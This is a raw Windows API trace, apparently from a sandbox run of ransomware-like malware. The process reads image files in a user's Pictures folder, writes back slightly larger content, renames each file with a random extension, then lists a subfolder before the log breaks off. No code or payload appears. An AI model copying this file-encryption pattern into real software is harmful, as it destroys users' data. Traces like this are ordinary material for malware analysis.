0x0 [0156.266] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ap5azoqduep.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.268] GetFileType (hFile=0x1d0) returned 0x1 [0156.268] SetErrorMode (uMode=0x0) returned 0x1 [0156.268] GetFileType (hFile=0x1d0) returned 0x1 [0156.268] WriteFile (in: hFile=0x1d0, lpBuffer=0x129b82d0*, nNumberOfBytesToWrite=0x17900, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x129b82d0*, lpNumberOfBytesWritten=0x21d558*=0x17900, lpOverlapped=0x0) returned 1 [0156.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png", lpFilePart=0x0) returned 0x2b [0156.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png.s2ypyd", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png.s2ypyd", lpFilePart=0x0) returned 0x32 [0156.273] SetErrorMode (uMode=0x1) returned 0x0 [0156.273] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ap5azoqduep.png"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287c6780, ftCreationTime.dwHighDateTime=0x1d8b930, ftLastAccessTime.dwLowDateTime=0x7a78d060, ftLastAccessTime.dwHighDateTime=0x1d8b9ca, ftLastWriteTime.dwLowDateTime=0x59a05d20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x17900)) returned 1 [0156.274] SetErrorMode (uMode=0x0) returned 0x1 [0156.274] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ap5azoqduep.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png.s2ypyd" (normalized: "c:\\users\\keecfmwgj\\pictures\\ap5azoqduep.png.s2ypyd")) returned 1 [0156.279] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png", lpFilePart=0x0) returned 0x25 [0156.279] SetErrorMode (uMode=0x1) returned 0x0 [0156.279] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\c2rkk.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.279] GetFileType (hFile=0x1d0) returned 0x1 [0156.279] SetErrorMode (uMode=0x0) returned 0x1 [0156.279] GetFileType (hFile=0x1d0) returned 0x1 [0156.279] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x1706 [0156.279] ReadFile (in: hFile=0x1d0, lpBuffer=0x28a1e40, nNumberOfBytesToRead=0x1706, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28a1e40*, lpNumberOfBytesRead=0x21d4d8*=0x1706, lpOverlapped=0x0) returned 1 [0156.296] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png", lpFilePart=0x0) returned 0x25 [0156.296] SetErrorMode (uMode=0x1) returned 0x0 [0156.296] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\c2rkk.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.298] GetFileType (hFile=0x1d0) returned 0x1 [0156.298] SetErrorMode (uMode=0x0) returned 0x1 [0156.298] GetFileType (hFile=0x1d0) returned 0x1 [0156.298] WriteFile (in: hFile=0x1d0, lpBuffer=0x2988fb0*, nNumberOfBytesToWrite=0x1710, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2988fb0*, lpNumberOfBytesWritten=0x21d558*=0x1710, lpOverlapped=0x0) returned 1 [0156.299] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png", lpFilePart=0x0) returned 0x25 [0156.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png.mfgwqh", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png.mfgwqh", lpFilePart=0x0) returned 0x2c [0156.417] SetErrorMode (uMode=0x1) returned 0x0 [0156.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\c2rkk.png"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef0590, ftCreationTime.dwHighDateTime=0x1d8b491, ftLastAccessTime.dwLowDateTime=0x3d3df10, ftLastAccessTime.dwHighDateTime=0x1d8bbf8, ftLastWriteTime.dwLowDateTime=0x59a2be80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1710)) returned 1 [0156.419] SetErrorMode (uMode=0x0) returned 0x1 [0156.419] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\c2rkk.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\c2rKk.png.mfgwqh" (normalized: "c:\\users\\keecfmwgj\\pictures\\c2rkk.png.mfgwqh")) returned 1 [0156.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif", lpFilePart=0x0) returned 0x32 [0156.424] SetErrorMode (uMode=0x1) returned 0x0 [0156.424] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\nfvnucfzr2ciaqvgbh.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.424] GetFileType (hFile=0x1d0) returned 0x1 [0156.424] SetErrorMode (uMode=0x0) returned 0x1 [0156.424] GetFileType (hFile=0x1d0) returned 0x1 [0156.424] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x16283 [0156.431] ReadFile (in: hFile=0x1d0, lpBuffer=0x129cfc00, nNumberOfBytesToRead=0x16283, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x129cfc00*, lpNumberOfBytesRead=0x21d4d8*=0x16283, lpOverlapped=0x0) returned 1 [0156.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif", lpFilePart=0x0) returned 0x32 [0156.603] SetErrorMode (uMode=0x1) returned 0x0 [0156.603] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\nfvnucfzr2ciaqvgbh.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.605] GetFileType (hFile=0x1d0) returned 0x1 [0156.605] SetErrorMode (uMode=0x0) returned 0x1 [0156.606] GetFileType (hFile=0x1d0) returned 0x1 [0156.606] WriteFile (in: hFile=0x1d0, lpBuffer=0x12a3e948*, nNumberOfBytesToWrite=0x16290, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x12a3e948*, lpNumberOfBytesWritten=0x21d558*=0x16290, lpOverlapped=0x0) returned 1 [0156.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif", lpFilePart=0x0) returned 0x32 [0156.610] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif.mzjhl5", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif.mzjhl5", lpFilePart=0x0) returned 0x39 [0156.610] SetErrorMode (uMode=0x1) returned 0x0 [0156.610] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\nfvnucfzr2ciaqvgbh.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22631680, ftCreationTime.dwHighDateTime=0x1d8b860, ftLastAccessTime.dwLowDateTime=0x6b977fc0, ftLastAccessTime.dwHighDateTime=0x1d8bd25, ftLastWriteTime.dwLowDateTime=0x59d25a00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x16290)) returned 1 [0156.610] SetErrorMode (uMode=0x0) returned 0x1 [0156.610] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\nfvnucfzr2ciaqvgbh.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\nFvnUcfZr2ciaqvGBH.gif.mzjhl5" (normalized: "c:\\users\\keecfmwgj\\pictures\\nfvnucfzr2ciaqvgbh.gif.mzjhl5")) returned 1 [0156.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif", lpFilePart=0x0) returned 0x33 [0156.614] SetErrorMode (uMode=0x1) returned 0x0 [0156.614] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xxmg nqtxobvoofjbn8.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.614] GetFileType (hFile=0x1d0) returned 0x1 [0156.614] SetErrorMode (uMode=0x0) returned 0x1 [0156.614] GetFileType (hFile=0x1d0) returned 0x1 [0156.614] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x14841 [0156.614] ReadFile (in: hFile=0x1d0, lpBuffer=0x286bff8, nNumberOfBytesToRead=0x14841, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x286bff8*, lpNumberOfBytesRead=0x21d4d8*=0x14841, lpOverlapped=0x0) returned 1 [0156.661] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif", lpFilePart=0x0) returned 0x33 [0156.661] SetErrorMode (uMode=0x1) returned 0x0 [0156.661] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xxmg nqtxobvoofjbn8.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.664] GetFileType (hFile=0x1d0) returned 0x1 [0156.664] SetErrorMode (uMode=0x0) returned 0x1 [0156.664] GetFileType (hFile=0x1d0) returned 0x1 [0156.664] WriteFile (in: hFile=0x1d0, lpBuffer=0x2989710*, nNumberOfBytesToWrite=0x14850, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2989710*, lpNumberOfBytesWritten=0x21d558*=0x14850, lpOverlapped=0x0) returned 1 [0156.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif", lpFilePart=0x0) returned 0x33 [0156.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif.jgkx27", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif.jgkx27", lpFilePart=0x0) returned 0x3a [0156.668] SetErrorMode (uMode=0x1) returned 0x0 [0156.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xxmg nqtxobvoofjbn8.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d51040, ftCreationTime.dwHighDateTime=0x1d8b38e, ftLastAccessTime.dwLowDateTime=0x68d25550, ftLastAccessTime.dwHighDateTime=0x1d8bbb1, ftLastWriteTime.dwLowDateTime=0x59dbdf80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x14850)) returned 1 [0156.668] SetErrorMode (uMode=0x0) returned 0x1 [0156.668] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xxmg nqtxobvoofjbn8.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\xXMg NqTxoBvoofJbN8.gif.jgkx27" (normalized: "c:\\users\\keecfmwgj\\pictures\\xxmg nqtxobvoofjbn8.gif.jgkx27")) returned 1 [0156.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi", lpFilePart=0x0) returned 0x23 [0156.672] SetErrorMode (uMode=0x1) returned 0x0 [0156.672] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d05b040, ftCreationTime.dwHighDateTime=0x1d8be9a, ftLastAccessTime.dwLowDateTime=0x45d90b10, ftLastAccessTime.dwHighDateTime=0x1d8c10c, ftLastWriteTime.dwLowDateTime=0x45d90b10, ftLastWriteTime.dwHighDateTime=0x1d8c10c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0156.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d05b040, ftCreationTime.dwHighDateTime=0x1d8be9a, ftLastAccessTime.dwLowDateTime=0x45d90b10, ftLastAccessTime.dwHighDateTime=0x1d8c10c, ftLastWriteTime.dwLowDateTime=0x45d90b10, ftLastWriteTime.dwHighDateTime=0x1d8c10c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.673] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6736af0, ftCreationTime.dwHighDateTime=0x1d8c050, ftLastAccessTime.dwLowDateTime=0x1b564ef0, ftLastAccessTime.dwHighDateTime=0x1d8c0be, ftLastWriteTime.dwLowDateTime=0x1b564ef0, ftLastWriteTime.dwHighDateTime=0x1d8c0be, nFileSizeHigh=0x0, nFileSizeLow=0x4521, dwReserved0=0x0, dwReserved1=0x0, cFileName="-9vjnRHfHtrweEuJGm.bmp", cAlternateFileName="-9VJNR~1.BMP")) returned 1 [0156.673] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cba61e0, ftCreationTime.dwHighDateTime=0x1d8c0b5, ftLastAccessTime.dwLowDateTime=0xa17b1660, ftLastAccessTime.dwHighDateTime=0x1d8c0bd, ftLastWriteTime.dwLowDateTime=0xa17b1660, ftLastWriteTime.dwHighDateTime=0x1d8c0bd, nFileSizeHigh=0x0, nFileSizeLow=0x50c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="0O32x.bmp", cAlternateFileName="")) returned 1 [0156.673] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad5fe030, ftCreationTime.dwHighDateTime=0x1d8b55c, ftLastAccessTime.dwLowDateTime=0x11e6ac60, ftLastAccessTime.dwHighDateTime=0x1d8b63d, ftLastWriteTime.dwLowDateTime=0x11e6ac60, ftLastWriteTime.dwHighDateTime=0x1d8b63d, nFileSizeHigh=0x0, nFileSizeLow=0x14619, dwReserved0=0x0, dwReserved1=0x0, cFileName="6GeDVzWU.gif", cAlternateFileName="")) returned 1 [0156.673] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bac7300, ftCreationTime.dwHighDateTime=0x1d8b1a8, ftLastAccessTime.dwLowDateTime=0xe2ab3e80, ftLastAccessTime.dwHighDateTime=0x1d8b50f, ftLastWriteTime.dwLowDateTime=0xe2ab3e80, ftLastWriteTime.dwHighDateTime=0x1d8b50f, nFileSizeHigh=0x0, nFileSizeLow=0x116c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Njaq6KgBd-F-SPIjJ.bmp", cAlternateFileName="NJAQ6K~1.BMP")) returned 1 [0156.673] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e8d30e0, ftCreationTime.dwHighDateTime=0x1d8b6c8, ftLastAccessTime.dwLowDateTime=0xbbae8780, ftLastAccessTime.dwHighDateTime=0x1d8bca6, ftLastWriteTime.dwLowDateTime=0xbbae8780, ftLastWriteTime.dwHighDateTime=0x1d8bca6, nFileSizeHigh=0x0, nFileSizeLow=0xc0e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="qk y 7uirTeb_9j.bmp", cAlternateFileName="QKY7UI~1.BMP")) returned 1 [0156.673] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3230c060, ftCreationTime.dwHighDateTime=0x1d8bbff, ftLastAccessTime.dwLowDateTime=0x79e4f080, ftLastAccessTime.dwHighDateTime=0x1d8bdca, ftLastWriteTime.dwLowDateTime=0x79e4f080, ftLastWriteTime.dwHighDateTime=0x1d8bdca, nFileSizeHigh=0x0, nFileSizeLow=0x2ec5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UfIU4AupJZ3uu6W Tr4v.jpg", cAlternateFileName="UFIU4A~1.JPG")) returned 1 [0156.673] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x348276e0, ftCreationTime.dwHighDateTime=0x1d8b35f, ftLastAccessTime.dwLowDateTime=0xc79e33c0, ftLastAccessTime.dwHighDateTime=0x1d8ba7a, ftLastWriteTime.dwLowDateTime=0xc79e33c0, ftLastWriteTime.dwHighDateTime=0x1d8ba7a, nFileSizeHigh=0x0, nFileSizeLow=0x10fd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="V1tLRl90VOX8.png", cAlternateFileName="V1TLRL~1.PNG")) returned 1 [0156.673] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd8c48d0, ftCreationTime.dwHighDateTime=0x1d8b0b8, ftLastAccessTime.dwLowDateTime=0xeb672f60, ftLastAccessTime.dwHighDateTime=0x1d8bad8, ftLastWriteTime.dwLowDateTime=0xeb672f60, ftLastWriteTime.dwHighDateTime=0x1d8bad8, nFileSizeHigh=0x0, nFileSizeLow=0x9e22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vo4gsYK2j.bmp", cAlternateFileName="VO4GSY~1.BMP")) returned 1 [0156.673] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd8c48d0, ftCreationTime.dwHighDateTime=0x1d8b0b8, ftLastAccessTime.dwLowDateTime=0xeb672f60, ftLastAccessTime.dwHighDateTime=0x1d8bad8, ftLastWriteTime.dwLowDateTime=0xeb672f60, ftLastWriteTime.dwHighDateTime=0x1d8bad8, nFileSizeHigh=0x0, nFileSizeLow=0x9e22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vo4gsYK2j.bmp", cAlternateFileName="VO4GSY~1.BMP")) returned 0 [0156.674] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0156.674] SetErrorMode (uMode=0x0) returned 0x1 [0156.674] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi", lpFilePart=0x0) returned 0x23 [0156.674] SetErrorMode (uMode=0x1) returned 0x0 [0156.675] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\4_gCpVi\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\4_gcpvi\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d05b040, ftCreationTime.dwHighDateTime=0x1d8be9a, ftLastAccessTime.dwLowDateTime=0x45d90b10, ftLastAccessTime.dwHighDateTime=0x1d8c10c, ftLastWriteTime.dwLowDateTime=0x45d90b10, ftLastWriteTime.dwHighDateTime=0x1d8c10c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0156.675] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d05b040, ftCreationTime.dwHighDateTime=0x1d8be9a, ftLastAccessTime.dwLowDateTime=0x45d90b10, ftLastAccessTime.dwHighDateTime=0x1d8c10c, ftLastWriteTime.dwLowDateTime=0x45d90b10, ftLastWriteTime.dwHighDateTime=0x1d8c10c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.675] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6736af0, ftCreationTime.dwHighDateTime=0x1d8c050, ftLastAccessTime.dwLowDateTime=0x1b564ef0, ftLastAccessTime.dwHighDateTime=0x1d8c0be, ftLastWriteTime.dwLowDateTime=0x1b564ef0, ftLastWriteTime.dwHighDateTime=0x1d8c0be, nFileSizeHigh=0x0, nFileSizeLow=0x4521, dwReserved0=0x0, dwReserved1=0x0, cFileName="-9vjnRHfHtrweEuJGm.bmp", cAlternateFileName="-9VJNR~1.BMP")) returned 1 [0156.675] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cba61e0, ftCreationTime.dwHighDateTime=0x1d8c0b5, ftLastAccessTime.dwLowDateTime=0xa17b1660, ftLastAccessTime.dwHighDateTime=0x1d8c0bd, ftLastWriteTime.dwLowDateTime=0xa17b1660, ftLastWriteTime.dwHighDateTime=0x1d8c0bd, nFileSizeHigh=0x0, nFileSizeLow=0x50c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="0O32x.bmp", cAlternateFileName="")) returned 1 [0156.675] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad5fe030, ftCreationTime.dwHighDateTime=0x1d8b55c, ftLastAccessTime.dwLowDateTime=0x11e6ac60, ftLastAccessTime.dwHighDateTime=0x1d8b63d, ftLastWriteTime.dwLowDateTime=0x11e6ac60, ftLastWriteTime.dwHighDateTime=0x1d8b63d, nFileSizeHigh=0x0, nFileSizeLow=0x14619, dwReserved0=0x0, dwReserved1=0x0, cFileName="6GeDVzWU.gif", cAlternateFileName="")) returned 1 [0156.675] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bac7300, ftCreationTime.dwHighDateTime=0x1d8b1a8, ftLastAccessTime.dwLowDateTime=0xe2ab3e80, ftLastAccessTime.dwHighDateTime=0x1d8b50f, ftLastWriteTime.dwLowDateTime=0xe2ab3e80, ftLastWriteTime.dwHighDateTime=0x1d8b50f, nFileSizeHigh=0x0, nFileSizeLow=0x116c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Njaq6KgBd-F-SPIjJ.bmp", cAlternateFileName="NJAQ6K~1.BMP")) returned 1 [0156.676] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e8d30e0, ftCreationTime.dwHighDateTime=0x1d8b6c8, ftLastAccessTime.dwLowDateTime=0xbbae8780, ftLastAccessTime.dwHighDateTime=0x1d8bca6, ftLastWriteTime.dwLowDateTime=0xbbae8780, ftLastWriteTime.dwHighDateTime=0x1d8bca6, nFileSizeHigh=0x0, nFileSizeLow=0xc0e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="qk y 7uirTeb_9j.bmp", cAlternateFileName="QKY7UI~1.BMP")) returned 1 [0156.676] 